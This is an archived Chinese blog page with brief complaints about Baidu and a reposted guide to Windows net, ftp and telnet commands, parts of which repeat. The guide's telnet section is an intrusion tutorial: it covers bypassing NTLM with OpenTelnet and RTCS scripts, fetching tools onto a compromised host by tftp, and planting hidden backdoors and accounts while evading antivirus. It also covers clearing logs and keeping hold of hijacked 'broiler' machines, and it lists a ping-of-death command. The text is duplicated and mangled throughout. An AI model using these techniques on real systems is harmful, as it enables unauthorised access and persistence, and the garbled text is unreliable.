页面

2010年12月30日星期四

中国电影

中国电影:有口难言,干脆来个装疯卖傻(?)

2010年12月27日星期一

山寨了

百度一下,更傻一分

百度搜索,适合中国人的搜索方式?适应中国人?其实我感觉它是把中国人全当傻子看了,所以才做得这么具有中国社会主义特色,这么没有头脑的。我都怀疑,百度是不是“美帝国主义”派来的,开个玩笑。


不能说百度不强大,只能说它是具有中国特色社会主义的搜索引擎。把人全当傻子看了的结果。不举例了。

百度一下,更傻一分

百度搜索,适合中国人的搜索方式?适应中国人?其实我感觉它是把中国人全当傻子看了,所以才做得这么具有中国社会主义特色,这么没有头脑的。我都怀疑,百度是不是“美帝国主义”派来的,开个玩笑。


不能说百度不强大,只能说它是具有中国特色社会主义的搜索引擎。把人全当傻子看了的结果。不举例了。

2010年12月23日星期四

net、ftp、telnet命令和远程登录重启服务器(转载)

(1)net命令


net use \\192.192.0.1\ipc$ “密码”/user:”administrator”


net use h: \\ip\c$ 登陆后映射对方C:到本地为H:


远程重启:


net use \\192.168.0.1 “password” /user:administrator


rsd /n /c:192.168.0.73 /m:”reboot after 200 sec” /r /f /t:200


(2)telnet


telnet 192.192.0.1 23


telnet 然后 open 192.192.0.1 23


必须知道端口,默认端口为23,如果telnet服务没有开启,需要先开启。


(3)FTP连接


ftp 192.192.0.1 往返车会提示输入用户名 、密码


(4)远程重启


shutdown -t 30 -r


(5)用sql命令重启远程服务器:(必须是远程数据库的管理员)


exec master..xp_cmdshell ’shutdown /r /f’


####################以下为参考#####################


FTP连接:


如何远程管理FTP服务器?有人喜爱用工具,如Serv-U。DOS族们却嫌麻烦,DOS下有何招数,且看下文。


在实际工作中,我们经常需要远程管理FTP服务器。有时手头又没有专用的管理工具,其实利用DOS命令一样可以有效地远程管理FTP。


1、遥程登录


命令格式为:ftp FTP服务器IP地址。


假如我们的FTP服务器地址为:202.102.5.211,则在MS-DOS方式下键入命令:ftp 202.102.5.211 ,按回车键确认。


此后会出现用户名输入提示:“user”,键入用户名,如:“syzx123”。按来回车,出现输渗入渗出密码提示:“PassWord”,键入密码后按回车即可登录到服务器中。


2、浏览删除目录、文件


键渗透dir命令即可看到权限范围内的目录。键渗透“rename 空格 原文件或文件夹名 空格 新文件或文件夹名”,按回车键确认,即可将原文件或文件夹改名。还可以像在本地机一样用Delete命令删除文件或文件夹、利用“cd 空格 文件夹名”入入相应的文件夹浏览等等。当然,所有你登录的用户必须具有相应的权限你的操作才有效。


3、远程修改登录密码


如果你登录的用户具有修改密码的权限,那么你可以使用如下命令修改密码。


命令格式为:quote“site pswd 空格 旧密码 空格 新密码”


按回车键确认后出现提示:“230 Password Changed Okay”字样,则表明修改成功。


net use用法详解


windows下,命令行往往可以起到很多意想不到的效果,很多软件无法解决的问题,往往几句原始的命令就搞定了,今天贴一下关于net use的用法,希望可以有帮助,更多的帮助请在cmd察看net use /?


net use \\ip\ipc$ ” ” /user:” ” 建立IPC空链接


net use \\ip\ipc$ “密码” /user:”用户名” 建立IPC非空链接


net use h: \\ip\c$ “密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:


net use h: \\ip\c$ 登陆后映射对方C:到本地为H:


net use \\ip\ipc$ /del 删除IPC链接


net use h: /del 删除映射对方到本地的为H:的映射


net user 用户名 密码 /add 建立用户


net user guest /active:yes 激活guest用户


net user 查看有哪些用户


net user 帐户名 查观帐户的属性


net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注重:administrator后加s用复数


net start 查看开启了哪些服务


net start 服务名 开启服务;(如:net start telnet, net start schedule)


net stop 服务名 停止某服务


net time \\目标ip 查观对方时间


net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息


net view 查观本地局域网内开启了哪些共享


net view \\ip 查看对方局域网内开启了哪些共享


net config 显示系统网络设置


net logoff 断开连接的共享


net pause 服务名 暂停某服务


net send ip “文本信息” 向对方发信息


net ver 局域网内正在使用的网络连接类型和信息


net share 查看本地开启的共享


net share ipc$ 开启ipc$共享


net share ipc$ /del 删除ipc$共享


net share c$ /del 删除C:共享


net user guest 12345 用guest用户登陆后用将密码改为12345


net password 密码 更改系统登陆密码


netstat -a 查看开启了哪些端口,常用netstat -an


netstat -n 查看端口的网络连接情况,常用netstat -an


netstat -v 查看正在进行的工作


netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)


netstat -s 查观正在使用的所有协议使用情况


nbtstat -A ip 对方136到139其中一个端口开了的话,就可查观对方最近登陆的用户名(03前的为用户名)-注重:参数-A要大写


tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。


ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。


ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)


ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息


tlist -t 以树行列表显示入程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)


kill -F 进程名加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)


del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件


遥程重启停止响应的服务器


服务器本来安装有终端服务和pcanywhere方便管理,后来因故卸载了pcanywhere,但是为防万一添加了另外一个有administrators权限的用户。但是今天很悲惨,这个用户登录时总是提示超过连接的最大范围。而administrator登录终端后只能观着桌面发呆,点什么都没有反应。幸好web服务和ftp服务都还正常。


让服务器重启的文件在Windows2000中是调用Windows下System中的Shell32.dll文件来实现关机的,例如“indir\RunDLL32.exe indir\System\Shell32.dll,SHExitWindowsEx 8”,但是不清楚详细参数的含义,担心万一是关机而不是重启就麻烦了,所以还是使用winxp自带的shutdown.exe保险,它的使用方法很明确:


shutdown.exe -a 取消关机


shutdown.exe -f 强行关闭应用程序。


shutdown.exe -m \\计算机名 控制远程计算机。


shutdown.exe -i 显示图形用户界面,但必须是Shutdown的第一个参数。


shutdown.exe -l 注销当前用户。


shutdown.exe -r 关机并重启。


shutdown.exe -t时间 设置关机倒计时。


shutdown.exe -c”消息内容” 输入关机对话框中的消息内容(不能超127个字符)。


考虑到默认服务器开启着ipc$,而且自己知道administrator的密码,试着用net use \\ip\ipc$ “密码” /user:“administrator”连接服务器,结果却是系统发生 53 错误,找不到网络路径。


想要上传木马程序,服务器安装了防病毒软件,肯定不行。


已经让网友把shutdown.exe传给我了再传到服务器上了,怎么运行它呢?


想到我登录ftp的帐号是系统管理员帐号,于是在cmd窗口下:


ftp://服务器IP


用户名


密码


登录成功


cd shutdown.exe所在的目录


quote site exec shutdown.exe -r


结果是permission denied.


原来我没给加上执行权限。


在本机serv-U上添加遥程计算机,使用系统管理员帐号密码,这样在本机上就可以管理服务器上的serv-U,


给该帐号加上执行权限。重试前一命令,结果200 EXEC command successful (TID=33).


但是服务器居然没一点反应,晕倒!


正在考虑还有没有其它方法时,serv-U提示跟服务器断开连接了,哈哈哈,过了一会,服务器重启了!


telnet命令详解:


目录:


一 摘要


二 远程登录


三 Telnet协议


四 Win2000的Telnet服务


五 在telnet中该做什么


六 结束语


一 摘要


Telnet的应用不仅方便了我们进行遥程登录,也给hacker们提供了又一种渗入渗出侵手段和后门,但无论如何,在你尽情享受Telnet所带给你的便捷的同时,你是否真正的了解Telnet呢?


二 远程登录


Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的遥程登录(遥程交互式计算),那么就让我们来熟悉一下远程登录。


1 遥程登陆的基本概念


先来看观什么叫登录:分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记帐方便,系统要求每个用户有单独的帐号作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为’登录’。


远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为遥程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。


2 远程登陆的产生及发展


我们可以先构想一个提供远程文字编辑的服务,这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接,当然这需要服务器的应答,然后向服务器发送键渗入渗出的信息(文件编辑信息),并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。


似乎有了客户机/服务器模型的服务,一切远程问题都可以解决了。然而实际并非你想象的那样简单,如果我们仅需要遥程编辑文件,那么刚才所构想的服务完全可以胜任,但假如我们的要求并不是这么简单,我们还想实现远程用户管理,远程数据录入,远程系统维护,想实现一切可以在远程主机上实现的操作,那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程,随之而来的问题是:远程机器会很快对服务器入程应接不暇,并淹没在入程的海洋里(我们在这里排除最专业化的远程机器)。


那么有没有办法解决呢?当然有,我们可以用远程登录来解决这一切。我们允许用户在遥地机器上建立一个登录会话,然后通过执行命令来实现更一般的服务,就像在本地操作一样。这样,我们便可以访问远地系统上所有可用的命令,并且系统设计员不需提供多个专用地服务器程序。


问题发展到这里好像前途一片光明了,用远程登录总应该解决问题了吧,但要实现远程登陆并不简单。不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录,在这种机器上增加遥程登陆功能需要修改机器的操作系统,这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件,虽然这样也是比较困难的。为什么说这样做也比较困难呢?


举个例子来说:一般,操作系统会为一些特殊按键分配特殊的含义,比如本地系统将’Ctrl C’解释为:’终止当前运行的命令进程’。但假设我们已经运行了远程登陆服务器软件,’Ctrl C’也有可能无法被传送到远地机器,如果客户机真的将’Ctrl C’传到了遥地机器,那么’Ctrl C’这个命令有可能不能终止本地的入程,也就是说在这里很可能会产生混乱。而且这仅仅是碰到的难题之一。


但尽管有技术上的困难,系统编程人员还是设法构造了能够应用于大多数操作系统的遥程登陆服务器软件,并构造了充当客户机的应用软件。通常,客户机软件取消了除一个键以外的所有键的本地解释,并将这些本地解释相应的转换成遥地解释,这就使得客户机软件与远地机器的交互,就如同坐在远程主机面前一样,从而避免了上述所提到的混乱。而那个唯一例外的键,可以使用户来回到本地环境。


将遥程登陆服务器设计为应用级软件,还有另一个要求,那就是需要操作系统提供对伪终端(pseudo terminal)的支持。我们用伪终端描述操作系统的入口点,它允许像Telnet服务器一样的程序向操作系统传送字符,并且使得字符像是来自本地键盘一样。只有使用这样的操作系统,才能将远程登陆服务器设计为应用级软件(比如Telnet服务器软件),否则,本地操作系统和远地系统传送将不能识别从对方传送过来的信息(因为它们仅能识别从本地键盘所键入的信息),远程登陆将宣告失败。


将遥程登陆服务器设计为应用级软件虽然有其显著的优点:比将代码嵌渗入渗出操作系统更易修改和控制服务器。但其也有效率不高的缺点(后面的内容将会给予解释),好在用户键入信息的速率不高,这种设计还是可以接受的。


3 远程登录的工作过程


使用Telnet协议入行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。


Telnet遥程登录服务分为以下4个过程:


1)本地与遥程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道遥程主机的Ip地址或域名;


2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;


3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送往返本地终端,包括输入命令回显和命令执行结果;


4)最后,本地终端对遥程主机进行撤消连接。该过程是撤销一个TCP连接。


上面的内容只是讨论了遥程登陆最基本的东西,其中的复杂和编程人员的艰辛是我们难以想象的,不知道你在舒服的使用Telnet的同时,是否想到了这些!


三 Telnet协议


我们知道Telnet服务器软件是我们最常用的远程登录服务器软件,是一种典型的客户机/服务器模型的服务,它应用Telnet协议来工作。那么,什么是Telnet协议?它都具备哪些特点呢?


1 基本内容


Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:


1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;


2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;


3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。


2 适应异构


为了使多个操作系统间的Telnet交互操作成为可能,就必须详细了解异构计算机和操作系统。比如,一些操作系统需要每行文本用ASCII回车控制符(CR)结束,另一些系统则需要使用ASCII换行符(LF),还有一些系统需要用两个字符的序列回车-换行(CR-LF);再比如,大多数操作系统为用户提供了一个中断程序运行的快捷键,但这个快捷键在各个系统中有可能不同(一些系统使用CTRL C,而另一些系统使用ESCAPE)。如果不考虑系统间的异构性,那么在本地发出的字符或命令,传送到遥地并被遥地系统解释后很可能会不准确或者出现错误。因此,Telnet协议必须解决这个问题。


为了适应异构环境,Telnet协议定义了数据和命令在Internet上的传输方式,此定义被称作网络虚拟终端NVT(Net Virtual Terminal)。它的应用过程如下:


对于发送的数据:客户机软件把来自用户终端的按键和命令序列转换为NVT格式,并发送到服务器,服务器软件将收到的数据和命令,从NVT格式转换为远地系统需要的格式;


对于返回的数据:远地服务器将数据从远地机器的格式转换为NVT格式,而本地客户机将将接收到的NVT格式数据再转换为本地的格式。


对于NVT格式的详细定义,有兴趣的朋友可以去查找相关资料。


3 传送远地命令


我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令,当用户在本地终端键渗透这些快捷键的时候,本地系统将执行相应的控制命令,而不把这些快捷键作为输入。那么对于Telnet来说,它是用什么来实现控制命令的远地传送呢?


Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时,NVT将按照其原始含义传送;当用户键入快捷键(组合键)时,NVT将把它转化为特殊的ASCII字符在网络上传送,并在其到达遥地机器后转化为相应的控制命令。将正常ASCII字符集与控制命令区分主要有两个原因:


1)这种区分意味着Telnet具有更大的灵活性:它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能;


2)这种区分使得客户机可以无二义性的指定信令,而不会产生控制功能与普通字符的混乱。


4 数据流向


上面我们提到过将Telnet设计为应用级软件有一个缺点,那就是:效率不高。这是为什么呢?下面给出Telnet中的数据流向:


数据信息被用户从本地键盘键渗入渗出并通过操作系统传到客户机程序,客户机程序将其处理后返往返操作系统,并由操作系统经过网络传送到远地机器,遥地操作系统将所接收数据传给服务器程序,并经服务器程序再次处理后返回到操作系统上的伪终端入口点,最后,远地操作系统将数据传送到用户正在运行的应用程序,这便是一次完整的输入过程;输出将按照同一通路从服务器传送到客户机。


因为每一次的输渗入渗出和输出,计算机将切换入程环境好几次,这个开销是很昂贵的。还好用户的键入速率并不算高,这个缺点我们仍然能够接受。


5 强制命令


我们应该考虑到这样一种情况:假设本地用户运行了远地机器的一个无休止循环的错误命令或程序,且此命令或程序已经停止读取输渗入渗出,那么操作系统的缓冲区可能因此而被占满,如果这样,远地服务器也无法再将数据写入伪终端,并且最终导致停止从TCP连接读取数据,TCP连接的缓冲区最终也会被占满,从而导致阻止数据流流渗透此连接。如果以上事情真的发生了,那么本地用户将失去对远地机器的控制。


为了解决此问题,Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令,那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组,并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了,携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应,服务器将读取并抛弃所有数据,直到找到了一个数据标记。服务器在遇到了数据标记后将返来回正常的处理过程。


6 选项协商


由于Telnet两端的机器和操作系统的异构性,使得Telnet不可能也不应该严格规定每一个telnet连接的具体配置,否则将大大影响Telnet的适应异构性。因此,Telnet采用选项协商机制来解决这一问题。


Telnet选项的范围很广:一些选项扩充了大方向的功能,而一些选项制涉及一些微小细节。例如:有一个选项可以控制Telnet是在半双工还是全双工模式下工作(大方向);还有一个选项允许远地机器上的服务器决定用户终端类型(小细节)。


Telnet选项的协商方式也很有意思,它对于每个选项的处理都是对称的,即任何一端都可以发出协商申请;任何一端都可以接受或拒绝这个申请。另外,如果一端试图协商另一端不了解的选项,接受请求的一端可简单的拒绝协商。因此,有可能将更新,更复杂的Telnet客户机服务器版本与较老的,不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项,可能会对交互有所改善。否则,它们将一起转到效率较低但可工作的方式下运行。所有的这些设计,都是为了增强适应异构性,可见Telnet的适应异构性对其的应用和发展是多么重要。


上面讨论了一些原理方面的东西,虽然我们在Telnet的使用过程中很难接触到这一层面,但我认为了解这些是有意义的,它会给我们带来许多启示。下面让我们来观观Win2000的Telnet服务。


(本系列教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区 http://ccbirds.yeah.net)


四 Win2000的Telnet服务


其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已。


1 基本配置


Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。


Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:


AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。


DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是”.”。


DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\System32\Cmd.exe /q /k


MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。


LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。


NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:


0: 不使用 NTLM 身份验证。


1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。


2: 只使用 NTLM 身份验证。


TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。


以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1


2 NTLM


提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?


早期的SMB协议在网络上明文传输口令,后来出现了”LAN Manager Challenge/Response”验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:


1、客户端首先在本地加密当前用户的密码成为密码散列


2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输


3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)


4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)


5、服务器把用户名、给客户端的challenge 、客户端返往返的 response 这三个东西,发送域控制器


6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。


7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。


从上面的过程我们可以观出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。


由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet遥地机器时,会显示下面情况中的一种:


1)身份验证选项=0时


=====================================


Microsoft (R) Windows (TM) Version 5.00 (Build 2195)


Welcome to Microsoft Telnet Service


Telnet Server Build 5.00.99201.1


login:


password:


\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输渗透扫到的Administrator和5678


2)身份验证选项=1时


=====================================


NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password


Microsoft (R) Windows (TM) Version 5.00 (Build 2195)


Welcome to Microsoft Telnet Service


Telnet Server Build 5.00.99201.1


login:


password:


\\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别


3)身份验证选项=2时


=====================================


NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password


Server allows NTLM authentication only


Server has closed connection


遗失对主机的连接。


C:\>


\\仔细看观上面的显示,根本没有给你输渗透用户名和密码的机会,直接断开连接,扫到了密码也是白扫


所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:


1通过修改遥程注册表更改telnet服务器配置,将验证方式从2改为1或0;


2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;


3在本地建立扫描到的用户,以此用户身份开启telnet客户机并入行远程登录;


4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)


5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)


基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:


OpenTelnet.exe \\server username password NTLMAuthor telnetport


OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口


cscript RTCS.vbe targetIP username password NTLMAuthor telnetport


cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式>


五 在telnet中该做什么


本来写到上面就想结束了,不过许多朋友都说telnet上去后不知道该做什么了,既然这样,那我就抛砖引玉吧,这次不讲详细做法,只是说说思路,什么?为什么不讲具体做法?篇幅不够嘛,以后我会一一解释的。


1 查看系统信息


呵呵,其实就是随处看观,看看他的系统配置和版本(用type c:\boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),观看有什么重要或有趣的文件啦(唉,要是国外的机器,看也观不懂),观看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。


2 使用tftp传送文件


想必大家都碰到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用copy来传输文件。不过这样反而麻烦,既然我们已经得到了shell,我们可以用TFPT命令来完成这一切,什么是TFTP呢?


用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:


C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe


其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)


需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在入行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络入行MAC寻址时是找不到你这台TFTP服务器的。


3 安置后门


安置后门放在第二步好像早了点,如果你渗透侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧。


后门的种类繁多,也给我们提供了很大的选择余地,能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:


1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。


2 最大限度增加隐蔽性:如果你选择遥程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。


3 不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似’hacking’的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。


4 打补丁


如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注重它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。


5 清除日志


可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。


六 结束语


文章的前部分主要说了一些原理性的东西,后部分则侧重于应用,写的多了难免会有些遗漏,如果你觉得哪里还需要补充,或者哪里不明白,请往返帖告诉我哟!!


很抱歉,因为您在网易相册发布了违规信息,账号被屏蔽。被屏蔽期间他人无法访问您的相册。


去帮助中心,了解如何重新恢复服务。


net、ftp、telnet命令和远程登录重启服务器(转载)

(1)net命令


net use \192.192.0.1ipc$ “密码”/user:”administrator”


net use h: \ipc$ 登陆后映射对方C:到本地为H:


远程重启:


net use \192.168.0.1 “password” /user:administrator


rsd /n /c:192.168.0.73 /m:”reboot after 200 sec” /r /f /t:200


(2)telnet


telnet 192.192.0.1 23


telnet 然后 open 192.192.0.1 23


必须知道端口,默认端口为23,如果telnet服务没有开启,需要先开启。


(3)FTP连接


ftp 192.192.0.1 往返车会提示输入用户名 、密码


(4)远程重启


shutdown -t 30 -r


(5)用sql命令重启远程服务器:(必须是远程数据库的管理员)


exec master..xp_cmdshell ’shutdown /r /f’


####################以下为参考#####################


FTP连接:


如何远程管理FTP服务器?有人喜爱用工具,如Serv-U。DOS族们却嫌麻烦,DOS下有何招数,且看下文。


在实际工作中,我们经常需要远程管理FTP服务器。有时手头又没有专用的管理工具,其实利用DOS命令一样可以有效地远程管理FTP。


1、遥程登录


命令格式为:ftp FTP服务器IP地址。


假如我们的FTP服务器地址为:202.102.5.211,则在MS-DOS方式下键入命令:ftp 202.102.5.211 ,按回车键确认。


此后会出现用户名输入提示:“user”,键入用户名,如:“syzx123”。按来回车,出现输渗入渗出密码提示:“PassWord”,键入密码后按回车即可登录到服务器中。


2、浏览删除目录、文件


键渗透dir命令即可看到权限范围内的目录。键渗透“rename 空格 原文件或文件夹名 空格 新文件或文件夹名”,按回车键确认,即可将原文件或文件夹改名。还可以像在本地机一样用Delete命令删除文件或文件夹、利用“cd 空格 文件夹名”入入相应的文件夹浏览等等。当然,所有你登录的用户必须具有相应的权限你的操作才有效。


3、远程修改登录密码


如果你登录的用户具有修改密码的权限,那么你可以使用如下命令修改密码。


命令格式为:quote“site pswd 空格 旧密码 空格 新密码”


按回车键确认后出现提示:“230 Password Changed Okay”字样,则表明修改成功。


net use用法详解


windows下,命令行往往可以起到很多意想不到的效果,很多软件无法解决的问题,往往几句原始的命令就搞定了,今天贴一下关于net use的用法,希望可以有帮助,更多的帮助请在cmd察看net use /?


net use \ipipc$ ” ” /user:” ” 建立IPC空链接


net use \ipipc$ “密码” /user:”用户名” 建立IPC非空链接


net use h: \ipc$ “密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:


net use h: \ipc$ 登陆后映射对方C:到本地为H:


net use \ipipc$ /del 删除IPC链接


net use h: /del 删除映射对方到本地的为H:的映射


net user 用户名 密码 /add 建立用户


net user guest /active:yes 激活guest用户


net user 查看有哪些用户


net user 帐户名 查观帐户的属性


net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注重:administrator后加s用复数


net start 查看开启了哪些服务


net start 服务名 开启服务;(如:net start telnet, net start schedule)


net stop 服务名 停止某服务


net time \目标ip 查观对方时间


net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息


net view 查观本地局域网内开启了哪些共享


net view \ip 查看对方局域网内开启了哪些共享


net config 显示系统网络设置


net logoff 断开连接的共享


net pause 服务名 暂停某服务


net send ip “文本信息” 向对方发信息


net ver 局域网内正在使用的网络连接类型和信息


net share 查看本地开启的共享


net share ipc$ 开启ipc$共享


net share ipc$ /del 删除ipc$共享


net share c$ /del 删除C:共享


net user guest 12345 用guest用户登陆后用将密码改为12345


net password 密码 更改系统登陆密码


netstat -a 查看开启了哪些端口,常用netstat -an


netstat -n 查看端口的网络连接情况,常用netstat -an


netstat -v 查看正在进行的工作


netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)


netstat -s 查观正在使用的所有协议使用情况


nbtstat -A ip 对方136到139其中一个端口开了的话,就可查观对方最近登陆的用户名(03前的为用户名)-注重:参数-A要大写


tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。


ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。


ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)


